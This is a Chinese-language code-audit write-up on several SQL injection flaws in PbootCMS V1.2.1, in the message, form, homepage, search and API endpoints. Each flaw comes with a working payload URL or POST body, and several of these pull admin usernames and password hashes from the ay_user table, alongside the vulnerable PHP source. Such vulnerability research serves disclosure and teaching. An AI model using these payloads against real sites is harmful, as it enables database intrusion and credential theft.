0x08 前台home模块注入漏洞

0x08.1 在线留言处insert sql注入

0x08.1.2 漏洞演示

注:我本地测试的所以我把验证验证码那一步关闭了=-=,实战中请自己加上验证码
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图1

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
  2. post:
  3. contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111
  4. content = 1111
  5. mobile = 1111

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图2

0x08.1.2 漏洞解读

路径:PbootCMS-V1.2.1\apps\home\controller\MessageController.php
方法:add(

  1. // 留言新增
  2. public function add()
  3. {
  4. if ($_POST) {
  5. if (time() - session('lastsub') < 10) {
  6. alert_back('您提交太频繁了,请稍后再试!');
  7. }
  8. // 验证码验证
  9. $checkcode = post('checkcode');
  10. if ($this->config('message_check_code')) {
  11. // if (! $checkcode) {
  12. // alert_back('验证码不能为空!');
  13. // }
  14. if ($checkcode != session('checkcode')) {
  15. alert_back('验证码错误!');
  16. }
  17. }
  18. // 读取字段
  19. if (! $form = $this->model->getFormField(1)) {
  20. alert_back('留言表单不存在任何字段,请核对后重试!');
  21. }
  22. // 接收数据
  23. $mail_body = '';
  24. foreach ($form as $value) {
  25. $field_data = post($value->name);
  26. if (is_array($field_data)) { // 如果是多选等情况时转换
  27. $field_data = implode(',', $field_data);
  28. }
  29. if ($value->required && ! $field_data) {
  30. alert_back($value->description . '不能为空!');
  31. } else {
  32. $data[$value->name] = post($value->name);
  33. $mail_body .= $value->description . ':' . post($value->name) . '<br>';
  34. }
  35. }
  36. // 设置额外数据
  37. if ($data) {
  38. $data['acode'] = session('lg');
  39. $data['user_ip'] = ip2long(get_user_ip());
  40. $data['user_os'] = get_user_os();
  41. $data['user_bs'] = get_user_bs();
  42. $data['recontent'] = '';
  43. $data['status'] = 0;
  44. $data['create_user'] = 'guest';
  45. $data['update_user'] = 'guest';
  46. }
  47. if ($this->model->addMessage($data)) {
  48. session('lastsub', time()); // 记录最后提交时间
  49. $this->log('留言提交成功!');
  50. if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  51. $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
  52. $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
  53. sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  54. }
  55. alert_location('提交成功!', '-1');
  56. } else {
  57. $this->log('留言提交失败!');
  58. alert_back('提交失败!');
  59. }
  60. } else {
  61. error('提交失败,请使用POST方式提交!');
  62. }
  63. }

可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addMessage(data) 执行语句

路径:PbootCMS-V1.2.1\apps\home\model\ParserModel.php
方法:addMessage(

  1. // 新增留言
  2. public function addMessage($data)
  3. {
  4. return parent::table('ay_message')->autoTime()->insert($data);
  5. }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入

0x08.2 免费通话insert sql注入

注:本地测试的时候,这个地方的注入需要后台添加一条数据才能注!真实环境的话,开放了这个功能直接抓包即可

进入后台
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图3
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图4
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图5
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图6

0x08.2.1 漏洞演示

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图7

  1. urlhttp://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Form/add?fcode=2
  2. post
  3. tel[tel`) VALUES ( 1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图8

0x08.2.2 漏洞解读

路径:PbootCMS-V1.2.1\apps\home\controller\FormController.php
方法:add(

  1. // 表单提交
  2. public function add()
  3. {
  4. if ($_POST) {
  5. if (time() - session('lastsub') < 10) {
  6. alert_back('您提交太频繁了,请稍后再试!');
  7. }
  8. if (! $fcode = get('fcode', 'var')) {
  9. alert_back('传递的表单编码有误!');
  10. }
  11. if ($fcode == 1) {
  12. alert_back('表单提交地址有误,留言提交请使用留言专用地址!');
  13. }
  14. // 验证码验证
  15. /*
  16. * $checkcode = post('checkcode');
  17. * if ($this->config('message_check_code')) {
  18. * if (! $checkcode) {
  19. * alert_back('验证码不能为空!');
  20. * }
  21. * if ($checkcode != session('checkcode')) {
  22. * alert_back('验证码错误!');
  23. * }
  24. * }
  25. */
  26. // 读取字段
  27. if (! $form = $this->model->getFormField($fcode)) {
  28. alert_back('接收表单不存在任何字段,请核对后重试!');
  29. }
  30. // 接收数据
  31. $mail_body = '';
  32. foreach ($form as $value) {
  33. $field_data = post($value->name);
  34. if (is_array($field_data)) { // 如果是多选等情况时转换
  35. $field_data = implode(',', $field_data);
  36. }
  37. if ($value->required && ! $field_data) {
  38. alert_back($value->description . '不能为空!');
  39. } else {
  40. $data[$value->name] = post($value->name);
  41. $mail_body .= $value->description . ':' . post($value->name) . '<br>';
  42. }
  43. }
  44. // 设置创建时间
  45. if ($data) {
  46. $data['create_time'] = get_datetime();
  47. }
  48. // 写入数据
  49. if ($this->model->addForm($value->table_name, $data)) {
  50. session('lastsub', time()); // 记录最后提交时间
  51. $this->log('提交表单数据成功!');
  52. if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  53. $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
  54. $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
  55. sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  56. }
  57. alert_location('提交成功!', '-1');
  58. } else {
  59. $this->log('提交表单数据失败!');
  60. alert_back('提交失败!');
  61. }
  62. } else {
  63. error('提交失败,请使用POST方式提交!');
  64. }
  65. }

可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addForm($value->table_name, $data) 执行语句

路径:PbootCMS-V1.2.1\apps\home\model\ParserModel.php

  1. public function addForm($table, $data)
  2. {
  3. return parent::table($table)->insert($data);
  4. }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入.

0X08.3 前台首页注入

0x08.3.1 漏洞演示

  1. url: http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图9

0x08.3.2 漏洞解读

文件地址:PbootCMS-V1.2.1\apps\home\controller\ParserController.php
方法:index(

  1. // 首页 骚操作 注入
  2. // parserAfter -> parserSpecifyListLabel
  3. public function index()
  4. {
  5. $content = parent::parser('index.html'); // 框架标签解析
  6. $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
  7. $content = $this->parser->parserPositionLabel($content, - 1, '首页', SITE_DIR . '/'); // CMS当前位置标签解析
  8. $content = $this->parser->parserSpecialPageSortLabel($content, 0, '', SITE_DIR . '/'); // 解析分类标签
  9. $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
  10. $this->cache($content, true);
  11. }

文件地址:apps\home\controller\ParserController.php
方法:parserAfter()

  1. 跟进 $content = $this->parser->parserAfter($content); 这个方法
  1. // 解析全局后置公共标签
  2. public function parserAfter($content)
  3. {
  4. ...
  5. $content = $this->parserSpecifyListLabel($content); // 指定列表
  6. return $content;
  7. }

方法:parserSpecifyListLabel(

  1. 进入以后 查看调用了 $content = $this->parserSpecifyListLabel($content); 方法
  1. // 解析指定分类列表标签
  2. public function parserSpecifyListLabel($content)
  3. {
  4. ...
  5. // 数据筛选 骚操作注入
  6. $where2 = array();
  7. foreach ($_GET as $key => $value) {
  8. if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
  9. $where2[$key] = get($key);
  10. }
  11. }
  12. ...
  13. // 读取数据
  14. if ($page) {
  15. $data = $this->model->getList($scode, $num, $order, $where1, $where2);
  16. } else {
  17. $data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
  18. }
  19. }

这里就将重要的方法分析一下了,其他无关的就删除掉避免影响阅读。
这里接收了外部了外部所有的get参数然后判断了开头的前4个字符是否 ext_ 开头,如果符合就直接拼接进入$where2这个数组 然后带入数据库进行getList方法与getSpecifyList查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入

0x08.4 前台搜索框注入

0x08.4.1 漏洞利用

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图10

0x08.4.2 漏洞讲解

文件地址:PbootCMS-V1.2.1\apps\home\controller\SearchController.php
方法:index(

  1. // 骚操作 注入
  2. // parserSearchLabel
  3. public function index()
  4. {
  5. $content = parent::parser('search.html'); // 框架标签解析
  6. $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
  7. $content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); // CMS当前位置标签解析
  8. $content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索结果', url('/home/Search/index')); // 解析分类标签
  9. $content = $this->parser->parserSearchLabel($content); // 搜索结果标签
  10. $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
  11. $this->cache($content, true);
  12. }

文件地址:apps\home\controller\ParserController.php
方法:parserSearchLabel(

  1. 进入以后 查看调用了 $content = $this->parser->parserSearchLabel($content); 方法
  1. // 解析内容搜索结果标签
  2. public function parserSearchLabel($content)
  3. {
  4. ...
  5. foreach ($_GET as $key => $value) {
  6. if (! ! $value = get($key, 'vars')) {
  7. $where2[$key] = $value;
  8. }
  9. }
  10. ...
  11. // 读取数据
  12. if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) {
  13. $content = str_replace($matches[0][$i], '', $content);
  14. continue;
  15. }
  16. }

这里就将重要的方法分析一下了,其他无关的就删除掉避免影响阅读。
这里接收了外部了外部所有的get参数然后就直接拼接进入$where2这个数组 然后带入数据库进行getList方法查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入

0x09 我是一句废话

我是用来调皮的

0x10 api模块注入

api模块的注入需要后端开启api功能,并且获得 api_appid 与 api_secret 才能注入。

或是说 开启了api功能并且关闭了API强制认证 这样也可以注入

所以较鸡助
PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图11

0x10.1 接口注入一

0x10.1.1 漏洞演示

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/search?1%3D1)and(updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1))--=1
  2. post
  3. 11=11
  4. 一定要post 要跑空post才能进流程

因为系统中会把 “空格”转为“_” 所以使用/**/绕过即可

0x10.1.2 漏洞讲解

路径:apps\api\controller\CmsController.php
方法:search(

这里我把漏洞触发点发出来我们主要讲讲他即可

  1. // 数据接收
  2. foreach ($_GET as $key => $value) {
  3. if (! ! $value = get($key, 'vars')) {
  4. $where[$key] = $value;
  5. }
  6. }
  7. $data = $this->model->getList($acode, $scode, $num, $order, $where, $fuzzy);

从代码中看他会收集外部所有的 $_GET 带入 getList 进行入库查询 value 是我们无法控制所以无法注入的,可是key是我们可控制可注入的!!!跟进 getList方法

路径:PbootCMS-V1.2.1\apps\api\model\CmsModel.php
function getList(

  1. // 列表内容
  2. public function getList($acode, $scode, $num, $order, $where = array(), $fuzzy = true)
  3. {
  4. ...
  5. // 筛选条件支持模糊匹配
  6. return parent::table('ay_content a')->field($fields)
  7. ->where($where1, 'OR')
  8. ->where($where2)
  9. ->where($where, 'AND', 'AND', $fuzzy)
  10. ->join($join)
  11. ->order($order)
  12. ->page(1, $num)
  13. ->decode()
  14. ->select();
  15. }

这里我把关键代码放出来了,可以看到接收$where以后直接仍进了数据库进行操作造成了注入

0x10.2 接口注入二

0x10.2.1 漏洞利用

  1. urlhttp://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addmsg
  2. post:
  3. contacts[contentl`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
  4. mobile = 111
  5. content = 111

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图12

0x10.2.2 漏洞讲解

文件:PbootCMS-V1.2.1\apps\api\controller\CmsController.php
方法:addmsg(

  1. // 新增留言 注入
  2. public function addmsg()
  3. {
  4. if ($_POST) {
  5. // 读取字段
  6. if (! $form = $this->model->getFormField(1)) {
  7. json(0, '接收表单不存在任何字段,请核对后重试!');
  8. }
  9. // 接收数据
  10. $mail_body = '';
  11. foreach ($form as $value) {
  12. $field_data = post($value->name);
  13. if ($value->required && ! $field_data) {
  14. json(0, $value->description . '不能为空!');
  15. } else {
  16. $data[$value->name] = post($value->name);
  17. $mail_body .= $value->description . ':' . post($value->name) . '<br>';
  18. }
  19. }
  20. // 设置其他字段
  21. if ($data) {
  22. $data['acode'] = get('acode', 'var') ?: $this->lg;
  23. $data['user_ip'] = ip2long(get_user_ip());
  24. $data['user_os'] = get_user_os();
  25. $data['user_bs'] = get_user_bs();
  26. $data['recontent'] = '';
  27. $data['status'] = 0;
  28. $data['create_user'] = 'api';
  29. $data['update_user'] = 'api';
  30. }
  31. // 写入数据
  32. if ($this->model->addMessage($value->table_name, $data)) {
  33. $this->log('API提交表单数据成功!');
  34. if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  35. $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
  36. $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
  37. sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  38. }
  39. json(1, '表单提交成功!');
  40. } else {
  41. $this->log('API提交表单数据失败!');
  42. json(0, '表单提交失败!');
  43. }
  44. } else {
  45. json(0, '表单提交失败,请使用POST方式提交!');
  46. }
  47. }

可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addMessage(data) 执行语句

文件:PbootCMS-V1.2.1\apps\api\model\CmsModel.php
函数:addMessage(

  1. // 新增留言
  2. public function addMessage($table, $data)
  3. {
  4. return parent::table('ay_message')->autoTime()->insert($data);
  5. }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入

0x10.3 接口注入三

0x10.3.1 漏洞利用

  1. urlhttp://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addform?fcode=1
  2. post:
  3. contacts[content`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
  4. mobile = 111
  5. content = 123

PbootCMS代码审计全过程之三-漏洞测试-sql注入 - 图13

0x10.3.2 漏洞讲解

  1. // 表单提交 注入
  2. public function addform()
  3. {
  4. if ($_POST) {
  5. if (! $fcode = get('fcode', 'var')) {
  6. json(0, '传递的表单编码fcode有误!');
  7. }
  8. // 读取字段
  9. if (! $form = $this->model->getFormField($fcode)) {
  10. json(0, '接收表单不存在任何字段,请核对后重试!');
  11. }
  12. // 接收数据
  13. $mail_body = '';
  14. foreach ($form as $value) {
  15. $field_data = post($value->name);
  16. if ($value->required && ! $field_data) {
  17. json(0, $value->description . '不能为空!');
  18. } else {
  19. $data[$value->name] = post($value->name);
  20. $mail_body .= $value->description . ':' . post($value->name) . '<br>';
  21. }
  22. }
  23. // 设置创建时间
  24. if ($data) {
  25. $data['create_time'] = get_datetime();
  26. }
  27. // 写入数据
  28. if ($this->model->addForm($value->table_name, $data)) {
  29. $this->log('API提交表单数据成功!');
  30. if ($this->config('message_send_mail') && $this->config('message_send_to')) {
  31. $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
  32. $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
  33. sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
  34. }
  35. json(1, '表单提交成功!');
  36. } else {
  37. $this->log('API提交表单数据失败!');
  38. json(0, '表单提交失败!');
  39. }
  40. } else {
  41. json(0, '表单提交失败,请使用POST方式提交!');
  42. }
  43. }

可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 $_data数组

  1. 然后就会带入 $this->model->addForm(data) 执行语句

文件:PbootCMS-V1.2.1\apps\api\model\CmsModel.php
方法:addForm(

  1. // 新增表单数据
  2. public function addForm($table, $data)
  3. {
  4. return parent::table($table)->insert($data);
  5. }

根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入

0x11 admin模块漏洞

你都有前台这么多个洞了,怎么还要后台的洞?贪心可是不好的
: )